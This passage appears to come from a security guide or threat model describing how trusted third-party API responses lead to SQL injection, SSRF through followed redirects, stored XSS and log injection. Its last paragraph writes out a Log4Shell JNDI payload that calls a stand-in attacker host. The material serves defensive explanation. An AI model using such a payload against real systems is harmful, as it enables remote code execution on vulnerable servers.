Third-party response fields (addresses, names, descriptions) are inserted into SQL queries, HTML templates, or log statements without sanitization. A compromised or tampered third-party response contains an injection payload. Because the data comes from a “trusted” source, the parameterization or escaping that protects against user-input injection was never applied.

The consuming API follows redirects returned by a third-party service. An attacker compromises the third-party to return a redirect to an internal URL (cloud metadata endpoint, internal admin API, internal database). The consuming API follows the redirect server-side — reaching an internal target it would normally be protected from — because the redirect came from a “trusted” integration.

Profile data, product descriptions, or enrichment results from a third-party API are stored and later rendered in HTML without escaping. The compromised third-party injects a script tag into a data field. When other users’ browsers render the page, the script executes in their session — stealing cookies, tokens, or performing actions on their behalf.

Third-party API responses are logged directly. A malicious string in a third-party response field — such as a ${jndi:ldap://attacker.com/a} JNDI lookup — is passed to the logging framework. If the logging framework evaluates the string (as Log4j 2 did before the Log4Shell patch), it initiates a server-side DNS lookup or class load — enabling RCE. The payload arrived through a trusted channel; the logging layer had no reason to sanitize it.